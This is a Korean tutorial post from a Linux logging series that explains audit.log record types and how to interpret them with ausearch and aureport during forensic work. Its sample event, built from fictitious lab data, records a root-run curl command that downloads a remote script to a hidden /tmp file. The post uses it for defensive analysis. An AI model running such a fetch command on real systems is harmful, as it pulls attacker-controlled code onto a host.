Linux 로그 경로 정리 · 38/50 · Part 4. journald / rsyslog / auditd
선행 학습 → 37. auditd 구조 이해
이번 글 → audit.log 경로와 구조
이어서 → 39. auditd로 execve 추적
audit.log 는 처음 보면 암호문 같습니다. 16진수, 숫자 UID, 여러 줄로 쪼개진 이벤트… 하지만 구조는 단순합니다. 같은 msg=audit(시각:번호) 를 가진 줄들이 하나의 이벤트이고, 각 줄은 이벤트의 한 측면(무엇을 호출했나, 인자는, 어느 디렉터리에서, 어떤 파일을)입니다.
핵심 요약
- 이벤트 ID =
audit(epoch.ms:serial)→ 여러 레코드를 묶는 키- 실행 이벤트 =
SYSCALL+EXECVE+CWD+PATH+PROCTITLE- 원시 로그는 직접 읽지 말고
ausearch -i(해석) ·aureport(요약)로 본다.
| 레코드 타입 | 내용 | 핵심 필드 |
|---|---|---|
SYSCALL | 시스템 콜 호출 정보 | syscall, success, auid, uid, pid, ppid, exe, key |
EXECVE | 실행 인자 | argc, a0 a1 ... (hex 인코딩될 수 있음) |
CWD | 작업 디렉터리 | cwd |
PATH | 관련 파일 | name, inode, mode, ouid, nametype |
PROCTITLE | 전체 명령줄 | hex → -i 로 복원 |
SOCKADDR | 소켓 주소 | saddr (hex → IP/포트) |
USER_AUTH / USER_LOGIN / USER_START | PAM 인증·로그인·세션 | acct, addr, res |
USER_CMD | sudo 실행 | cmd (hex) |
ADD_USER / ADD_GROUP | 계정 변경 | acct |
CONFIG_CHANGE | 감사 규칙 변경 | op |
DAEMON_START / DAEMON_END | auditd 시작/종료 |

하나의 이벤트 (serial 2050)
┌─ type=SYSCALL ... syscall=59(execve) auid=1001 uid=0 pid=4188 ppid=4151 exe=/usr/bin/curl key=exec_log
├─ type=EXECVE ... argc=5 a0="curl" a1="-s" a2="http://198.51.100.23/x.sh" a3="-o" a4="/tmp/.x.sh"
├─ type=CWD ... cwd="/root"
├─ type=PATH ... item=0 name="/usr/bin/curl" inode=819589 mode=0100755
└─ type=PROCTITLE ... proctitle=6375726C202D73... (hex = "curl -s http://...")
모두 msg=audit(1789838170.000:2050)
/var/log/audit/audit.log 현재
/var/log/audit/audit.log.1 ~ .4 auditd 자체 순환 (num_logs=5 → 현재 + 4개)
ausearch -if <file> 수집한 사본 파일 분석 (원본 대신)
A=/var/log/audit/audit.log
# 이벤트 ID 로 묶어 보기 (-a serial), 해석 (-i)
ausearch -a 2050 -i
# 키 / 사용자 / 프로그램 / 시간으로 찾기
ausearch -k exec_log -ts today -i
ausearch -ua 1001 -ts 02:10:00 -te 02:35:00 -i # auid 기준
ausearch -c curl -i # comm 기준
ausearch -m USER_AUTH,USER_LOGIN -sv no -i # 실패한 인증
# 요약 리포트
aureport -x --summary -i # 실행 파일별
aureport -k --summary -i # key 별
aureport --auth -i | tail # 인증
aureport --failed --summary -i
# 수집 사본 분석 (포렌식)
ausearch -if /evidence/case-0920/work/audit.log -k log_tamper -i

위 이미지는 Rocky Linux 9.8 실습 환경에서 audit.log 구조를 실제로 확인한 결과입니다.
아래는 이 시리즈의 실습 시나리오 감사 로그(직접 작성한 가상 데이터) 를 Rocky 9.8의 ausearch / aureport 로 실제 해석한 출력입니다.
[실제 실행 결과 · 입력: 실습용 가상 audit.log]
$ ausearch -if audit.log -a 2050 -i (일부 필드 생략)
type=PROCTITLE msg=audit(09/20/26 02:16:10.000:2050) : proctitle=curl -s http://198.51.100.23/x.sh -o /tmp/.x.sh
type=CWD msg=audit(09/20/26 02:16:10.000:2050) : cwd=/root
type=EXECVE msg=audit(09/20/26 02:16:10.000:2050) : argc=5 a0=curl a1=-s a2=http://198.51.100.23/x.sh a3=-o a4=/tmp/.x.sh
type=SYSCALL msg=audit(09/20/26 02:16:10.000:2050) : arch=x86_64 syscall=execve success=yes exit=0 ... ppid=4151 pid=4188 auid=deploy uid=root ...
$ aureport -if audit.log -k --summary -i
total key
5 exec_log
1 priv_esc
1 user_mod
1 cron_mod
1 net_out
1 log_tamper
| 원시 값 | -i 해석 | 의미 |
|---|---|---|
audit(1789838170.000:2050) | 09/20/26 02:16:10 | 실행 환경 TZ(KST)로 변환된 시각 |
syscall=59 | execve | 프로그램 실행 |
auid=1001 | deploy | 최초 로그인 사용자 |
uid=0 | root | 실행 권한 |
proctitle=6375... | curl -s http://... | 전체 명령줄 |
-i 의 UID→이름 변환은 분석하는 서버의 /etc/passwd 기준입니다. 다른 서버에서 사본을 분석하면 이름이 틀릴 수 있으므로 원본 서버의 /etc/passwd 사본을 함께 수집하거나 ENRICHED 형식의 해석값을 사용합니다.
| 정상 | 의심 |
|---|---|
| serial이 연속 증가 | serial 큰 공백 (레코드 유실/삭제) |
DAEMON_START 가 부팅 시에만 | 운영 중 DAEMON_END / CONFIG_CHANGE op=remove_rule |
| 관리 도구 실행 | 로그인 사용자 auid로 /tmp·숨김 경로 실행 |
audit.key, audit.exe, audit.auid 필드를 만든다 → 이 필드로 룰 작성(47편 실측).aureport -k --summary 로 어떤 규칙이 걸렸는지 먼저 파악 → key별 상세 조회.-i)과 원시 레코드를 함께 보존한다(원시가 원본 증거).[ ] 이벤트 ID(시각:serial)로 레코드 묶기
[ ] SYSCALL / EXECVE / CWD / PATH / PROCTITLE 역할 구분
[ ] ausearch -a / -k / -ua / -c / -m 사용
[ ] aureport -x / -k / --auth 요약
[ ] -if 로 수집 사본 분석
[ ] -i 해석의 TZ·UID 매핑 주의점 설명
ausearch -i 로 해석하고 aureport 로 요약한다.| 구분 | 글 |
|---|---|
| ◀ 이전 글 | 37. auditd 구조 이해 |
| ▶ 다음 글 | 39. auditd로 execve 추적 |
| 시리즈 | Linux 로그 경로 정리 전체 보기 |
| 선행 시리즈 | 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초 |